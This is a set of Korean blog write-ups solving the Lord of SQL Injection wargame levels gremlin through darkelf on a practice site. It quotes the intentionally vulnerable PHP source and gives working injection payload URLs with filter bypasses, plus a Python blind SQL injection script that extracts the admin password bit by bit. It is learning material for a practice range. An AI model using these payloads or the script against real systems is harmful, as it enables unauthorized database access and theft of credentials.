LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 wolfman에 이어 darkelf 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

darkelf는 wolfman과 비슷하게 단순 필터링 우회문제입니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 6번 라인에서는 SQL Injection을 수행할 때 or, and 문자를 사용할 수 없게 되어있습니다.

여기서는 or와 and를 대신해서 사용할 문자를 선택하도록 합니다.

흠흠. 여기서는 admin이 선택되어야 하는데, id가 guest로 되어 있기 때문에 새로운 조건문을 완성해줘야 합니다.


단, or와 and가 막혀 있기 때문에 이 문자를 대신하여 사용할 ||와 &&를 사용해줍니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 pw 쪽에 값 삽입(||를 이용)


https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27||id=%27admin


위의 쿼리는 pw='||id='admin 이라고 작성해주었습니다.

여기서 ||는 or 대신에 SQL문에서 사용할 수 있는 문자입니다.


 query : select id from prob_darkelf where id='guest' and pw=''||id='admin'


이렇게 되면 id가 guest인 값의 비밀번호가 선택되지 않기 때문에 거짓 where문이 됩니다.

여기서 이후 ||id='admin'이 완성되도록 적절히 값을 삽입하면, id값을 admin으로 특정해줄 수 있습니다.



LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Orc에 이어 wolfman 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

wolfman은 Orc에서 사용했던 머리를 조금 식히는 겸 팁을 가져가기 위한 단계라고 생각하시면 되겠습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
	if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
	$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
	if($result['id'] == 'admin') solve("wolfman"); 
	highlight_file(__FILE__); 
?>


위의 문제에서 6번 라인에서는 SQL Injection을 수행할 때 whitespace 즉, 띄어쓰기를 하지 말라는 필터링이 걸려 있습니다.

그리고, id가 admin인 값을 찾아내라고 합니다. 

흠흠. 여기서는 id가 이미 guest로 되어 있기 때문에 해당 where문을 거짓으로 만들어주고 뒤에 참인 where문을 삽입해줘야 합니다.


단, 띄어쓰기가 막혀 있기 때문에 기존과 같은 방법은 통하지 않습니다. 여기서는 띄어쓰기 대신에 다른 값을 이용할 줄 알아야 합니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 pw 쪽에 값 삽입(%0a를 이용)


https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=%27%0aor%0a1=1%0aand%0aid=%27admin


위의 쿼리는 pw=%27%0aor%0a1=1%0aand%0aid=%27admin 이라고 작성해주었습니다.

여기서 %0a는 개행문자중 하나고 띄어쓰기 대신에 사용할 수 있는 값입니다.


 query : select id from prob_wolfman where id='guest' and pw='' or 1=1 and id='admin'


이렇게 되면 id가 guest인 값의 비밀번호가 선택되지 않기 때문에 거짓 where문이 됩니다.

여기서 1=1이라는 참을 삽입하고, id값을 admin으로 특정해줄 수 있습니다.


만약 %0a이외의 다른 값을 이용하고 싶으면 %09, %0b, %0c, %0d, /**/, (1) 를 이용할 수 있습니다.


/**/는 MySQL에서 ()로 인식하기 때문에 공백으로 사용할 수 있습니다.


단, 여기서 괄호는 필터링되어 있기 때문에 사용할 수 없습니다. ㅠㅠ


'%09or/**/1=1/**/and%0bid='admin



LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Goblin에 이어 Orc 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

Orc문젠 앞의 세 문제는 생각보다 아아아아주 쉬웠지만 이번 문제부터 꽤 어렵더군요...



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
	$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id']) echo "<h2>Hello admin</h2>"; 
	 
	$_GET[pw] = addslashes($_GET[pw]); 
	$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
	highlight_file(__FILE__); 
?>


위의 문제에서는 먼저 pw에 값을 넣어야함을 알 수 있습니다.

필터링은 크게 되어 있지 않은 상태이며, 9번 라인을 보니 리턴되는 값이 있다면 Hello admin이라는 값을 출력해주는 것을 알 수 있습니다.


또한 11번 라인에서는 addslashes라는 함수를 통해 입력한 값을 중간에 한 번 필터링을 걸어줍니다.

어떻게 우회할 수 있을까 고민을 참 많이 했습니다.


여기서는 일반적인 SQL Injection 기법보다는 다른 기법을 사용해야함을 나중에서야 깨달았습니다.

여기서는 Blind SQL Injection 기법을 통해 풀이를 진행해야 합니다.


이러한 이유는 14번 라인에서 답을 구할 수 있습니다.


먼저 2~9번 라인의 소스를 위쪽 PHP소스, 11~15번 라인까지의 소스아래쪽 PHP소스라고 표현하겠습니다.


위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 14번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.


즉 우리가 정확한 Password를 입력해야함을 말합니다...!!


그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.

딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!


따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.





 

 문제 풀이(쿼리)


먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.



 

 비밀번호 길이 알아내기


먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.

아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.

 https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20id=%27admin%27%20and%20length(pw)=1%23


위의 쿼리는 id가 admin이고, pw길이가 1인 값이 있는지 없는지 알아내기 위한 쿼리입니다.

이는 pw=' or id='admin' and length(pw)=1%23으로 작성하였습니다.

만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.


그러나 위의 쿼리 값을 통해 Hello admin이라는 값이 나타나지 않습니다. 이는 admin의 비밀번호 길이가 1이 아니기 때문입니다.


비밀번호 길이는 8까지 해보니 Hello admin이 출력되었습니다.


따라서 admin의 비밀번호 길이는 8이라는 것을 알 수 있었습니다.


이제 비밀번호를 알아내야 합니다.



 

 비밀번호 값 알아내기


비밀번호 값을 알아내기 앞서 printable한 값이 무엇이 있는지 ascii 값에서 알아내보았습니다.

무려 100개나 됩니다.. ㅠㅠ....


printable 한 값은 다음과 같습니다.

 '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'


위의 글자들을 어느 세월에 다 비교할까요 허허.

여기서는 한 가지 꼼수 방법이 있습니다!

그것은 바로, 한 글자의 비트 수를 비교하는 것입니다!(ascii 코드라는 가정 하에)

만약 ascii 코드의 한 글자의 값이 8bit로 이루어져 있고 각각의 값이 1인지 0인지만 알게 된다면, 해당되는 문자를 추측할 수 있게 됩니다.


비교 회수는 다음과 같이 줄어들게 됩니다.


만약 비밀번호 길이가 8글자일 때 printable한 값을 모두 비교한다면?

최대 : 100 * 8 == 800번


만약 비밀번호 길이가 8글자일 때 bit값으로 비교한다면?

최대 : 8 * 8 == 64번


무려 12.5배나 차이납니다!!

이제 각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.


 https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20id=%27admin%27and%20substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23


위의 쿼리는 다음과 같은 값이 들어가 있습니다.

pw=' or id='admin' and substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23

여기서는 substr 함수와 lpad, bin, ord 함수를 이용하여 각 글자의 각 비트를 한 번씩 가져와서 비교할 수 있도록 하였습니다.



substr(pw, 1, 1)은 pw 테이블에 있는 값을 가져와서 1번째 위치에서 1개의 값을 가져온다는 뜻입니다. 만약 substr(pw, 2, 1)이라면 2번째 위치에서 1개의 값을 가져온다는 뜻이 됩니다.


ord는 문자열 값을 숫자로 바꿔주도록 하는 것입니다.


bin은 숫자 값을 binary 값(이진수)으로 바꿔주는 함수입니다.


lpad는 값을 몇 자리로 만들어줄지, 무엇으로 채워줄지 결정하는 함수입니다. lpad(값, 8, 0)은 가져온 값을 8글자로 만드는데, 빈 공간을 앞에서부터 0으로 채워준다는 의미입니다. 만약 1100100이라는 7글자 값이 들어왔다면 01100100으로 패딩해준다는 의미입니다.


안에 있는 substr은 문자열의 값 중 한 글자를 가져오는 역할이고, 밖에 있는 substr은 문자가 bin으로 바뀐 상태에서 8개의 비트 값을 하나씩 가져오는 역할입니다.


이제 이러한 이해를 바탕으로 소스코드를 작성해보도록 하겠습니다.





 

 문제 풀이(소스)


import requests

requests.packages.urllib3.disable_warnings()
sess = requests.session()
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
headers = {'Cookie': 'PHPSESSID=bhvv81n0c3ba6775vl017ojk12'}


passwordLen = 0

# It is GET Parameter 

# Get Length of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
payload = "1' or id='admin' and length(pw)="

for i in range(1, 100):
	tmpPayload = payload + str(i) + '%23'
	res        = sess.get(url=URL+tmpPayload, headers=headers, verify=False)

	if 'Hello admin' in res.text:
		# true
		print('[=] Find Password Length : %d' % i)
		passwordLen = i
		break
	else:
		# false
		pass


# Get Name of Password =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Password = ''

for j in range(1, 9):
	
	bit = ''

	for i in range(1, passwordLen+1):
		payload = "1' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),8,0),{},1)=1%23".format(j, i)

		res     = sess.get(url=URL+payload, headers=headers, verify=False)

		if 'Hello admin' in res.text:
			# true  ==> the bit is 1
			bit += '1'
		else:
			# false ==> the bit is 0
			bit += '0'

	Password += chr(int(bit, 2))
	print('[=] Find Password(count %02d) : %s (bit : %s)' % (j, chr(int(bit, 2)), bit))



print('[=] Find Password : %s' % Password)


위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.


만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.


python의 pip 명령이 들지 않을 때(python pip error)링크


또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.


Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.





LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Cobolt에 이어 Goblin 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
	if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
	$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
	if($result['id'] == 'admin') solve("goblin");
	highlight_file(__FILE__); 
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다.

여기서는 또 하나의 특징이 있습니다.

위의 값은 no(넘버) 라는 값에 쿼리를 삽입해야 하는데, 값을 입력하기 위해서 사용했었던 싱글쿼터가 필터링 되어 있는 것을 볼 수 있습니다. 그 외에도 문자열을 표현할 수 있는 표현들이 죄다 필터링 되어 있는 것을 볼 수 있습니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴볼 필요가 있습니다.


위의 문제에서는 where문에 guest라는 값이 삽입되어 있습니다. 따라서 admin은 다른 방법을 통해 선택해주어야 합니다.

단, 싱글쿼터가 막혀 있기 때문에 0 or id='admin' 과 같은 방법은 통하지 않습니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 no 쪽에 값 삽입(limit 이용)


https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%201=1%20limit%201,1%23


위의 쿼리는 no=0 or 1=1 limit 1,1%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그리고 여기서는 먼저 id가 guest라고 확정되어 있는 where문을 부정해줄 필요가 있습니다.

즉, id='guest'이면 admin이 선택되지 않습니다. 그렇다면 전체 값을 가져와서 그 중에 admin인 녀석을 찾아내야 합니다.

그렇게 되면 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_goblin where id='guest' and no=0 or 1=1 limit 1,1#


이렇게 되면 id가 guest인 값의 번호가 0으로 선택되기 때문에 거짓 where문이 됩니다.

여기서 1=1이라는 참을 삽입하고, limit로 범위를 지정해주면, admin값을 특정해줄 수 있습니다.


그러고보니 여기서는 주석이 필요가 없군요 하하.


만약 limit 라는 문법을 사용하고 싶지 않다면 다음과 같은 방법을 이용해볼 수 있습니다.



 

 no 쪽에 값 삽입(hex 값 이용)


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%20id=0x61646d696e


위의 쿼리는 no=0 or id=0x61646d696e라고 작성해주었습니다.

이러한 hex 값을 이용하는 것은 MySQL에서 0x로 되어있는 16진수 값을 문자열로 받아들이기 때문입니다.

때문에 SQL 문이 다음과 같이 만들어지게 됩니다.


 query : select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e


이렇게 되면 id가 guest인 값의 번호가 0으로 선택되기 때문에 거짓 where문이 됩니다.

그리고 id=0x61646d696e 즉, id='admin'인 값을 가져오라는 쿼리문으로 변하게 됩니다.





LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Gremlin에 이어 Cobolt 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
	include "./config.php"; 
	login_chk();
	dbconnect();
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
	$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id'] == 'admin') solve("cobolt");
	elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
	highlight_file(__FILE__); 
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다. 5번, 6번 라인에서는 Cobolt 문제를 막기 위한 필터링이 아닌, Cobolt 이외의 공격은 삼가해달라라는 의미입니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴보도록 합시다.


7번 라인을 보시게 되면 우리가 id라는 값과, pw라는 값을 넣어서 실제로 어떻게 SQL문을 완성시켜주는지 알 수 있도록 나타내주었습니다.


위의 문제에서 혹시나 md5() 함수를 이용할까 생각해보았지만, 제 능력으로는 어떻게 이용할 수 있을지 모르겠습니다. magic hash가 아닐까 했지만 md5 내의 싱글쿼터 및 비교 구문이 없기 때문에 불가능함을 깨달았습니다.


그렇다면 pw 부분을 비활성 시키도록 하는 주석 처리 방법이 유일할 것 같습니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id 쪽에 값 삽입(주석 이용)


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%23


위의 쿼리는 id=admin'%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그리고 여기서는 return 되는 아이디 값이 admin이어야 한다는 조건이 있기 때문에 id에 들어가는 값이 admin이어야 합니다.

그렇게 되면 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_cobolt where id='admin'#' and pw=md5('')'


이렇게 되면 id가 admin인 값을 가져와라, 가 됩니다.


만약 admin이라는 값을 안 넣어주고 싶다면 다음과 같은 풀이도 이용해볼 수 있습니다.



 

 id 쪽에 값 삽입(admin 입력 안 하고 limit 이용)


만약 id쪽에 admin이라는 특정 값을 넣고 싶지 않다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=%27%20or%201=1%20limit%201,1%23


위의 쿼리는 id=' or 1=1 limit 1,1%23이라고 작성해주었습니다. limit는 리턴되는 모든 값들 중에 어느 특정 지점에서 몇 개를 가져와라, 라고 지정해줄 수 있는 SQL 문법 중 하나 입니다..

id=' or 1=1을 해주게 되면, 테이블에 있는 모든 값이 리턴되게 됩니다.

그렇게 되면 admin을 포함한 여러 데이터가 나타나게 되는 것입니다.


따라서 테이블의 몇 번째 값을 하나 가져와야 하는데, limit (번째), (개수)를 가져와보았습니다.


admin은 1번째(테이블은 원래 0부터 시작합니다.)에서 하나(1)을 가져와주도록 합니다.


 query : select id from prob_cobolt where id='' or 1=1 limit 1,1#' and pw=md5('')'


이렇게 되면 리턴된 모든 값 중에서 1번째부터 1개를 가져와라, 가 되는 것입니다.




Wargame.kr을 풀기 전에 먼저 SQL Injection에 대한 이해도와 스킬을 기본적으로 습득하기 위한 좋은 사이트가 LOS라는 조언을 듣고 Lord Of SQL을 풀기 시작했습니다.


일단 기본적으로 SQL Injection을 수행할 때 POST 형태로 수행하지 않고 GET 형태로 많은 문제를 풀이할 수 있습니다. 이는 Fiddler와 같은 다양한 프로그램을 사용하는 것에 치중하지 말고, SQL Injection에 대한 이해도를 높이는 것을 우선하라는 제작자의 배려가 아닌가 싶습니다. 


감사하게도 이러한 페이지에서 공부를 할 수 있어서 실력을 늘리고 여러 노하우를 익힐 수 있었습니다.


 제작자 Rubiya님께 매우 감사드립니다.


서론을 마치고 본격적으로 풀이를 진행해보려고 합니다.


LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.





 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다. "Do not try to attack another table, database!" 라고 경고를 적어주었네요. 따라서 5번, 6번 라인에서는 Gremlin 문제를 막기 위한 필터링이 아닌, Gremlin 이외의 공격은 삼가해달라라는 의미입니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴보도록 합시다.


7번 라인을 보시게 되면 우리가 id라는 값과, pw라는 값을 넣어서 실제로 어떻게 SQL문을 완성시켜주는지 알 수 있도록 나타내주었습니다.


물론 5번 라인과 6번 라인에서도 id, pw에 값을 넣어줄 수 있다는 것을 유추할 수 있지만, 직접적으로 어떻게 어떤 데이터로 들어가는지 알려주는 것은 7번 라인입니다.


id='{$_GET[id]}'와 pw='{$_GET[pw]}'를 보아하니 single quote(싱글 쿼터)가 들어가 있으므로 문자열 형태로 값을 넘겨주는 것을 알 수 있습니다. 

그리고 10번 라인을 보면, 만약 SQL 쿼리를 통해 return 되는 값이 존재한다면 문제가 풀리게 되어 있습니다.


따라서 일단 리턴되는 값이 있도록 쿼리를 짜보도록 합시다.






 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id 쪽에 값 삽입


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

 https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=%27%20or%201=1%20%23


위의 쿼리는 id=' or 1=1%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그렇다면 쿼리는 다음과 같이 들어가게 됩니다.


 query : select id from prob_gremlin where id='' or 1=1 #' and pw=''


이렇게 되면 or 1=1 때문에 참이 되어 리턴되는 값이 존재하게 됩니다.

따라서 if문은 참이되어 문제가 풀리게 됩니다.



 

 pw 쪽에 값 삽입


만약 pw쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?pw=%27%20or%20%271%27=%271 


위의 쿼리는 pw=' or '1'='1이라고 작성해주었습니다. 

여기서는 주석 처리가 필요없습니다.


이는 다음과 같이 변하기 때문입니다. 눈으로 직접 보시는 게 편합니당 ><


 query : select id from prob_gremlin where id='' and pw='' or '1'='1'


이렇게 되면 '1'='1'과 같이 참인 문법이 완성되게 됩니다. 따라서 따로 주석이 필요없게 됩니다.



+ Recent posts